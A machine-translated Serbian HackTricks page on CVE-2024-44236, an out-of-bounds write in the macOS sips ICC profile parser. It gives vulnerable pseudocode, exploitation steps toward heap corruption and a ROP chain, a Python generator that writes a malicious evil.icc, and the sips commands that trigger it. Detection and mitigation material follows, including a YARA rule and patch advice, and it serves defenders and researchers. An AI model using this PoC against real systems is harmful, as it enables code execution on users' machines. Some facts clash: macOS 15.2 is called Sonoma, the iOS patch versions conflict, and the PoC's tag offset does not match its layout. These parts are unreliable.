WWW2Exec - sips ICC Profil Izvan Granica Pisanje (CVE-2024-44236)
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Izvan granica zero-write ranjivost u Apple macOS Scriptable Image Processing System (sips
) ICC profil parseru (macOS 15.0.1, sips-307
) omogućava napadaču da ošteti metapodatke hrpe i preusmeri primitiv u punu izvršavanje koda. Greška se nalazi u obradi offsetToCLUT
polja lutAToBType
(mAB
) i lutBToAType
(mBA
) oznaka. Ako napadači postave offsetToCLUT == tagDataSize
, parser briše 16 bajtova nakon kraja bafera hrpe. Sprejanje hrpe omogućava napadaču da nula-izvede strukture alokatora ili C++ pokazivače koji će kasnije biti dereferencirani, što dovodi do arbitrary-write-to-exec lanca (CVE-2024-44236, CVSS 7.8).
Apple je ispravio grešku u macOS Sonoma 15.2 / Ventura 14.7.1 (30. oktobar 2024). Druga varijanta (CVE-2025-24185) ispravljena je u macOS 15.5 i iOS/iPadOS 18.5 1. aprila 2025.
Ranjivi Kod
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Koraci Eksploatacije
- Kreirajte zloćudni
.icc
profil
- Postavite minimalni ICC header (
acsp
) i dodajte jedanmAB
(ilimBA
) tag. - Konfigurišite tabelu tagova tako da
offsetToCLUT
bude jednak veličini taga (tagDataSize
). - Postavite podatke pod kontrolom napadača odmah nakon taga tako da 16 nula pisanja preklapa metapodatke alokatora.
- Pokrenite parsiranje sa bilo kojom sips operacijom koja dodiruje profil
# putanja za verifikaciju (nije potreban izlazni fajl)
sips --verifyColor evil.icc
# ili implicitno prilikom konvertovanja slika koje sadrže profil
sips -s format png payload.jpg --out out.png
- Kvar metapodataka na heap-u ➜ proizvoljno pisanje ➜ ROP
Na Apple-ovom podrazumevanom
nano_zone
alokatoru, metapodaci za 16-bajtne slotove se nalaze odmah nakon poravnate 0x1000 slab. Postavljanjem taga profila na kraj takvog slaba, 16 nula-pisanja uništavameta->slot_B
. Nakon narednogfree
, otrovani pokazivač se dodaje u malu slobodnu listu, omogućavajući napadaču da alocira lažni objekat na proizvoljnoj adresi i prepiše C++ vtable pokazivač koji koristi sips, konačno preusmeravajući izvršenje na ROP lanac smešten u zloćudnom ICC baferu.
Brzi PoC generator (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA pravilo detekcije
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Uticaj
Otvaranje ili obrada kreiranog ICC profila dovodi do daljinskog izvršavanja proizvoljnog koda u kontekstu korisnika koji ga pokreće (Preview, QuickLook, Safari renderovanje slika, Mail priloge, itd.), zaobilazeći Gatekeeper jer se profil može ugraditi unutar inače benignih slika (PNG/JPEG/TIFF).
Detekcija i ublažavanje
- Zakrpiti! Osigurajte da host radi na macOS ≥ 15.2 / 14.7.1 (ili iOS/iPadOS ≥ 18.1).
- Implementirajte YARA pravilo iznad na email prolazima i EDR rešenjima.
- Uklonite ili sanirajte ugrađene ICC profile sa
exiftool -icc_profile= -overwrite_original <file>
pre daljnje obrade na nepouzdanim datotekama. - Ojačajte Preview/QuickLook pokretanjem unutar sandboxovanih “transparentnost i modernizacija” VM-ova prilikom analize nepoznatog sadržaja.
- Za DFIR, tražite nedavnu izvršavanje
sips --verifyColor
ili učitavanjeColorSync
biblioteka od strane sandboxovanih aplikacija u ujedinjenom logu.
Reference
- Trend Micro Zero Day Initiative savetovanje ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple bezbednosne ažuriranja HT213981 “O bezbednosnom sadržaju macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.